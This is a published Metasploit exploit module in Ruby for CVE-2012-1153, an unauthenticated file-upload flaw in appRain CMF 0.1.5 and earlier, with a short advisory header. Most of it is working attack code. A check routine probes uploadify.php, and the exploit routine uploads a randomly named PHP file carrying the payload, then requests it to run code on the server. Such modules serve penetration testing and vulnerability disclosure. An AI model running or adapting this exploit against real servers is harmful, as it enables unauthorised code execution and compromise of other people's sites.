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appRain CMF Arbitrary PHP File Upload Vulnerability

appRain CMF Arbitrary PHP File Upload Vulnerability
Posted May 24, 2012
Authored by EgiX, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in appRain's Content Management Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a malicious user can upload a file to the uploads/ directory without any authentication, which results in arbitrary code execution.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2012-1153, OSVDB-78473
MD5 | 326c66024ed2135e3da4e6dab3059464

appRain CMF Arbitrary PHP File Upload Vulnerability

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in appRain's Content Management
Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a
malicious user can upload a file to the uploads/ directory without any
authentication, which results in arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-1153'],
['OSVDB', '78473'],
['EDB', '18392']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['appRain 0.1.5 or less', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jan 19 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}addons/uploadify/uploadify.php"
})

if res and res.code == 200 and res.body.empty?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"
payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'

post_data = "--o0oOo0o\r\n"
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
post_data << "<?php "
post_data << payload.encoded
post_data << " ?>\r\n"
post_data << "--o0oOo0o\r\n"

print_status("#{peer} - Sending PHP payload (#{payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}addons/uploadify/uploadify.php",
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
'data' => post_data
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /#{payload_name}/
print_error("#{peer} - I don't think the file was uploaded. Abort!")
return
end

print_status("#{peer} - Executing PHP payload (#{payload_name})")
# Execute our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}"
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_status("#{peer} - Server returns #{res.code.to_s}")
end
end
end

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